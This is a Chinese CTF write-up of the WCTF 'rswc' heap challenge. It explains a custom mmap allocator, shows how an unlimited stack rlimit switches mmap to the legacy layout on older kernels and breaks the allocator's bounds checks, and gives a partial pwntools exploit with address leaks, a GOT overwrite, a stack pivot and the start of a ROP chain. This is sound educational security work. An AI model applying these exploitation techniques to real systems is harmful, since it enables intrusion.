有幸参加了 今年的 wctf,被虐的不要不要的,比赛的题目质量很高,想着都找时间复现总结一下,希望自己可以复现完吧 :)

rswc 是 binja 出的 题目,可以说的唯一的一道应用层的pwn了,主要是一个 mmap 内存布局相关的知识点

功能分析

Try your best to get the flag     
IP : 172.16.13.11                 
Port : 31348

题目文件如下

❯ tree                                            
.                                                 
├── docker                                        
│   ├── Dockerfile                                
│   ├── launch.sh                                 
│   ├── rswc                                      
│   └── xinetd                                    
├── libc.so.6_5d8e5f37ada3fc853363a4f3f631a41a    
├── README.md                                     
└── rswc.zip

主要程序 是 docker 目录下的 rswc, 还给了libc, 版本2.23

Arch:     amd64-64-little            
  RELRO:    Partial RELRO              
  Stack:    No canary found            
  NX:       NX enabled                 
  PIE:      No PIE (0x400000)

64 bit 程序, no pie

 ./rswc          
0. alloc          
1. edit           
2. show           
3. delete         
9. exit

程序有4个功能, 经典的选单程序

功能都和平时做题目差不多,这里的堆的管理机制不同,他是用mmap 自己模拟了堆管理的机制

ida 看看功能吧

main函数

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  init_400DB3();
  while ( 1 )
  {
    menu();
    switch ( readint() )
    {
      case 0:
        all_400F15();
        break;
      case 1:
        edit_400FB3();
        break;
      case 2:
        show_401051();
        break;
      case 3:
        del_401104();
        break;
      case 9:
        _exit(0);
        return;
      default:
        puts("huh?");
        break;
    }
    puts(byte_4013A8);
  }
}

主要就是根据 op 选择对应的功能,没有整数溢出等,这里主要关注 init_400DB3 这个函数,对于堆模拟的一个初始化

int init_400DB3()
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  if ( mmap(0LL, 0x1000uLL, 0, 34, -1, 0LL) == (void *)-1LL )// 随机mmap 内存
  {
    perror("mmap");
    _exit(1);
  }
  manager_6020B8 = (__int64)mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
  if ( manager_6020B8 == -1 )
  {
    perror("mmap");
    _exit(1);
  }
  mmapsome_400866(0x3000uLL);                   //  heap 块 0x3000
  return seccomp_400BE4();
}

/*----------------------------------------------------------*/ void *__fastcall mmapsome_400866(size_t size)
{
  void **top; // rbx

  top = (void **)manager_6020B8;
  *top = mmap(0LL, size, 3, 34, -1, 0LL);
  if ( *(_QWORD *)manager_6020B8 == -1LL )
  {
    perror("mmap");
    _exit(1);
  }
  *(_QWORD *)(manager_6020B8 + 8) = *(_QWORD *)manager_6020B8;
  *(_QWORD *)(manager_6020B8 + 16) = size;
  *(_QWORD *)(manager_6020B8 + 24) = 0LL;
  return memset((void *)(manager_6020B8 + 0x20), 0, 0xFE0uLL);// 初始化
}

堆管理器的初始化,mmap 了一段 大小 0x1000 no rwx 的内存, 用于防止溢出

然后mmap 0x1000 rw 内存保存指针等,类似 arena

接着 mmap 0x3000 的 内存 作为 堆分配的区域 , 并在 arena 里面保存好初始化指针,

使用 seccomp 限制只能使用 orw

在自己的电脑上测试是这样的

0x7ffff7ff2000     0x7ffff7ff6000 rw-p     4000 0
0x7ffff7ff6000     0x7ffff7ff7000 ---p     1000 0 

pwndbg> x/10gx 0x7ffff7ff2000                                        
0x7ffff7ff2000: 0x0000000000000000      0x0000000000000000
0x7ffff7ff2010: 0x0000000000000000      0x0000000000000000
0x7ffff7ff2020: 0x0000000000000000      0x0000000000000000
0x7ffff7ff2030: 0x0000000000000000      0x0000000000000000
0x7ffff7ff2040: 0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x7ffff7ff5000                                        
0x7ffff7ff5000: 0x00007ffff7ff2000/*heap 起始*/    0x00007ffff7ff2000 /* top chunk 指针*/
0x7ffff7ff5010: 0x0000000000003000/*heap size*/    0x0000000000000000 /* chunk number */
0x7ffff7ff5020: 0x0000000000000000      0x0000000000000000
0x7ffff7ff5030: 0x0000000000000000      0x0000000000000000
0x7ffff7ff5040: 0x0000000000000000      0x0000000000000000

arena 上 先保存 heap 的起始地址, top chunk 指针, 当前的heap 的size 固定 0x3000,

chunk number 也就是当前可用chunk 的数量

后面的每一次分配,都是在arena 里面保存起始指针以及size,类似下面

pointer  | size
pointer  | size

allocate 函数

int all_400F15()
{
  unsigned int size; // eax
  int result; // eax
  __int64 p; // [rsp+0h] [rbp-10h]
  __int64 v3; // [rsp+8h] [rbp-8h]

  printf("size: ");
  size = readint();
  v3 = size;
  if ( !size || (unsigned __int64)size + 16 < size )
    return puts("invalid size");
  p = mmap_alloc_400920(size + 16LL);
  if ( !p )
    return puts("failed to allocate memory");
  *(_QWORD *)p = current_6020B0;
  current_6020B0 = p;
  *(_QWORD *)(p + 8) = v3;
  result = p;
  *(_BYTE *)(p + 0x10) = 0;                     // 防止信息泄露
  return result;
}

allocate 的时候传入一个 size, 然后在 heap 上划分, size 都使用 unsigned int 来进行处理

整数溢出不可行,mmap_alloc_400920 是在 heap 上划分内存返回起始指针的操作

成功的话, 有一个 全局的 current 指针指向他,并将chunk 第一个 byte 置0

这样就不能show 内存泄露已有的数据了

总的来说就是 chunk 形成一个 单向链表,新来放在前面

对应的 index 根据和current 之间有多少个 chunk 来决定

chunk 结构类似下面

next pointer  | size        |
--------------------        |
    data                    |

分配的过程如下

再 mmap 块上分割内存的操作

__int64 __fastcall mmap_alloc_400920(unsigned __int64 size)
{
  __int64 v2; // ST10_8
  unsigned __int64 index; // [rsp+18h] [rbp-10h]
  unsigned __int64 v4; // [rsp+20h] [rbp-8h]

  v4 = size;
  if ( !size )
    return 0LL;
  if ( size & 0xF )
    v4 = (size & 0xFFFFFFFFFFFFFFF0LL) + 0x10; // 0x10 对齐
  if ( v4 < size )
    return 0LL;                                 // manager+0x18 ==num
  for ( index = 0LL; *(_QWORD *)(manager_6020B8 + 0x18) > index; ++index )
  {  // 查看是否有free 的chunk
    if ( !(*(_QWORD *)(16 * (index + 2) + manager_6020B8 + 8) & 1LL)// free 状态
      && *(_QWORD *)(16 * (index + 2) + manager_6020B8 + 8) >= v4 )
    {                                           // &1==1 表示free
      *(_QWORD *)(16 * (index + 2) + manager_6020B8 + 8) |= 1uLL;// 换成 allocated
      return *(_QWORD *)(16 * (index + 2) + manager_6020B8);// 如果存在就返回这个地址
    }
  }
  if ( *(_QWORD *)manager_6020B8 + *(_QWORD *)(manager_6020B8 + 0x10) < *(_QWORD *)(manager_6020B8 + 8) + v4 )// 防止溢出?
    return 0LL;
  v2 = *(_QWORD *)(manager_6020B8 + 8);         // 返回当前top 位置
  *(_QWORD *)(manager_6020B8 + 8) += v4;        // top 向下移动
  *(_QWORD *)(16 * (*(_QWORD *)(manager_6020B8 + 0x18) + 2LL) + manager_6020B8) = v2;// free 的时候num 没有减少,已经alloc 过的 
  *(_QWORD *)(manager_6020B8 + 16 * ((*(_QWORD *)(manager_6020B8 + 24))++ + 2LL) + 8) = v4 | 1;// 设置成 allocate
  return v2;
}

总的来讲就是

内存分布如下, allocate 24 大小的 chunk, 最后一个 bit 为 1 表时 allocated 状态,为0 为free 状态

pwndbg> x/4gx 0x7ffff7ff2000
0x7ffff7ff2000: 0x0000000000000000      0x0000000000000018
0x7ffff7ff2010: 0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x7ffff7ff5000                                 
0x7ffff7ff5000: 0x00007ffff7ff2000      0x00007ffff7ff2030
0x7ffff7ff5010: 0x0000000000003000      0x0000000000000001
0x7ffff7ff5020: 0x00007ffff7ff2000      0x0000000000000031
0x7ffff7ff5030: 0x0000000000000000      0x0000000000000000

edit 函数

int edit_400FB3()
{
  unsigned int index; // [rsp+Ch] [rbp-14h]
  __int64 v2; // [rsp+10h] [rbp-10h]
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  printf("index: ");
  index = readint();
  v2 = current_6020B0;
  for ( i = 0; v2 && i < index; ++i )
    v2 = *(_QWORD *)v2;
  if ( !v2 )
    return puts("not found");
  printf("content: ");
  return (unsigned __int64)fgets((char *)(v2 + 0x10), *(_QWORD *)(v2 + 8), stdin);// 根据已有的保存的 size
}

edit 函数根据chunk 头保存的size 来获取 input, 因为 fgets 只会接收 size-1 的数据,没有溢出

show 函数

int show_401051()
{
  unsigned int index; // [rsp+Ch] [rbp-14h]
  _QWORD *v2; // [rsp+10h] [rbp-10h]
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  printf("index: ");
  index = readint();
  v2 = (_QWORD *)current_6020B0;
  for ( i = 0; v2 && i < index; ++i )
    v2 = (_QWORD *)*v2;
  if ( !v2 )
    return puts("not found");
  printf("memo no.%u\n", index);
  printf("  size: %lu\n", v2[1]);
  return printf("  content: %s\n", v2 + 2);
}

show 函数 根据 index 来,printf 用 %s 输出,没有什么问题。。。

free 函数

int del_401104()
{
  int result; // eax
  __int64 v1; // ST10_8
  unsigned int index; // [rsp+4h] [rbp-1Ch]
  _QWORD *v3; // [rsp+8h] [rbp-18h]
  _QWORD *p; // [rsp+10h] [rbp-10h]
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  printf("index: ");
  index = readint();
  if ( index )
  {
    v3 = 0LL;
    p = (_QWORD *)current_6020B0;
    for ( i = 0; p && i < index; ++i )
    {
      v3 = p;
      p = (_QWORD *)*p;
    }
    if ( p )
    {
      *v3 = *p;
      result = (unsigned __int64)mmap_freesome_400B0B((__int64)p);
    }
    else
    {
      result = puts("not found");
    }
  }
  else if ( current_6020B0 )
  {
    v1 = current_6020B0;
    current_6020B0 = *(_QWORD *)current_6020B0;
    result = (unsigned __int64)mmap_freesome_400B0B(v1);
  }
  else
  {
    result = puts("not found");
  }
  return result;
}

这段代码没有什么,就是遍历 current 链表,找到对应 index 的chunk 主要看mmap_freesome_400B0B 这个函数

_QWORD *__fastcall mmap_freesome_400B0B(__int64 p)
{
  _QWORD *result; // rax
  unsigned __int64 i; // [rsp+18h] [rbp-8h]

  if ( !p )
    return result;
  for ( i = 0LL; ; ++i )
  {
    if ( *(_QWORD *)(manager_6020B8 + 0x18) <= i )// 没有对应的项
      _exit(1);
    if ( *(_QWORD *)(16 * (i + 2) + manager_6020B8) == p )
      break;
  }
  if ( !(*(_QWORD *)(16 * (i + 2) + manager_6020B8 + 8) & 1LL) )// no uaf
    _exit(1);
  result = (_QWORD *)(16 * (i + 2) + manager_6020B8 + 8);
  *result &= 0xFFFFFFFFFFFFFFFELL;
  return result;
}

传入一个 pointer, 搜索arena 里面是否有这个 pointer, 并 判断是否是 free 状态

allocated 状态 则置为 free状态返回pointer

漏洞分析 & 漏洞利用

okay 到了这里,没有发现什么漏洞呀。。。代码的边界检查都做的挺好的,整数溢出,数组越界?内存未初始化??

都找不到的样子。。

这里是一个 坑点,题目是 nc连 上去给你一个 shell 的本地利用的模式,本地利用自己只知道一个 ulimit ...

问题也就是出现在这里,stack 设置成 ulimited 的时候 mmap 的行为会不一样

https://elixir.bootlin.com/linux/v4.12.14/source/arch/x86/mm/mmap.c

static int mmap_is_legacy(void)
{
    if (current->personality & ADDR_COMPAT_LAYOUT)
        return 1;

    if (rlimit(RLIMIT_STACK) == RLIM_INFINITY)
        return 1;

    ///proc/sys/vm/legacy_va_layout
    return sysctl_legacy_va_layout;
}

linux x86 x64 下mmap 有两种两种内存布局,一种是经典模式,一种是新的模式

mmap_is_legacy == 1 使用经典布局 - mmap 从低地址向高地址增长,也就是向栈方向增长

mmap_is_legacy ==0 使用新的模式- legacy 也 mmap bottom-up, 从高地址向低地址增长

current->personality 是 进程task_struct 的一个字段,主要用于处理不同的ABI

http://man7.org/linux/man-pages/man2/personality.2.html

rlimit(RLIMIT_STACK) == RLIM_INFINITY) 这一行就是判断 stack 的资源限制是不是设置成无限制

sysctl_legacy_va_layout 即 /proc/sys/vm/legacy_va_layout 的值

mmap 的实现还存在一些 CVE, 要找找时间复现一下,总之对于这道题目,因为 边界检查时基于

新的mmap 的布局的形式,所以假如改了这个内存布局,题目里面实现的边界检查就没用了,

可以造成溢出等效果,这里还有一个坑点。。

内核版本 4.13 之后 这个函数对于 stack 的判断被删除了,而自己的ubuntu 刚好又是 4.13 的内核,

比赛的时候蛋疼的调了很久就是达不到效果。。比赛的内核版本记得时 4.4.0-114

static int mmap_is_legacy(void)
{
    if (current->personality & ADDR_COMPAT_LAYOUT)
        return 1;

    return sysctl_legacy_va_layout;
}

okay 找到了漏洞点,后面操作就比较简单了,总结一下利用思路如下

exp 如下

#coding:utf-8
from pwn import *
import sys
import time

file_addr='./rswc'
libc_addr='./libc.so.6'
host='172.16.13.11'
port=31348



binary=ELF(file_addr)

p=process(file_addr,env={"LD_PRELOAD":libc_addr})
if len(sys.argv)==3:
    p=remote(host,port)



def menu(op):
    p.sendlineafter('>',str(op))

def alloc(size):
    menu(0)
    p.sendlineafter('size:',str(size))

def edit(index,data):
    menu(1)
    p.sendlineafter('index:',str(index))
    p.sendlineafter('content:',data)

def show(index):
    menu(2)
    p.sendlineafter('index:',str(index))

def delete(index):
    menu(3)
    p.sendlineafter('index:',str(index))


for i in range(0x100):
    alloc(0x20)

def write_addr(index,target,data):
    payload='a'*0x20 
    payload+=p64(target)+p64(0x200)
    edit(index,payload)
    edit(index,data)

# leak heap base
show(255)
p.recvuntil('content: ')
heapleak=u64(p.recv(6).ljust(8,'\x00'))
heap_base=heapleak-0x2fd0
p.info('heap_base'+hex(heap_base))

payload='a'*0x20
payload+=p64(binary.got['__libc_start_main']-0x10)+'\x20'

# leak libc base
edit(255,payload)
show(255)
p.recvuntil('content: ')
libcleak=u64(p.recv(6).ljust(8,'\x00'))
p.info('libcleak'+hex(libcleak))
#
libc=ELF('./libc.so.6')
libc_base=libcleak-libc.symbols['__libc_start_main']
p.info('libc_base'+hex(libc_base))

# leak stack addr
payload='a'*0x20
payload+=p64(libc_base+libc.symbols['environ']-0x10)+p64(0x200)

edit(254,payload)

show(254)
p.recvuntil('content: ')
stackleak=u64(p.recv(6).ljust(8,'\x00'))
p.info('stackleak'+hex(stackleak))

ret_addr=stackleak-0x100
p.info('ret_addr'+hex(ret_addr))
# write exit got 2 ret
ppp_ret=0x00000000004012ce #0x00000000004012ce : pop r13 ; pop r14 ; pop r15 ; ret 
pop_rbp_ret=0x00000000004007d0 #0x00000000004007d0 : pop rbp ; ret 
leave_ret=0x0000000000400be2 #0x0000000000400be2 : leave ; ret 

payload=p64(libc_base-0xe98)+p64(libc_base-0x210790)+p64(ppp_ret)
payload+=p64(libc_base+libc.symbols['puts'])
payload+=p64(libc_base+libc.symbols['mmap'])
payload+='flag\x00'
write_addr(253,binary.got['_exit']-0x20,payload)


ebp_base=heap_base+0xd0-8
# hijack ebp 2 heap 
payload=p64(0)*2
payload+=p64(pop_rbp_ret)
payload+=p64(ebp_base)
payload+=p64(leave_ret)
write_addr(252,ret_addr-0x20+8,payload)

print hex(ret_addr)

pop_rdi_ret=libc_base+0x0000000000021102
pop_rsi_ret=libc_base+0x00000000000202e8
pop_rdx_ret=libc_base+0x0000000000001b92
pop_rax_ret=libc_base+0x0000000000033544
syscall_ret=libc_base+0x00000000000bc375


orw_payload=''
## open
orw_payload+=p64(pop_rdi_ret)+p64(ebp_base+0x108)
orw_payload+=p64(pop_rsi_ret)+

       
       
       

    

Hacking more

...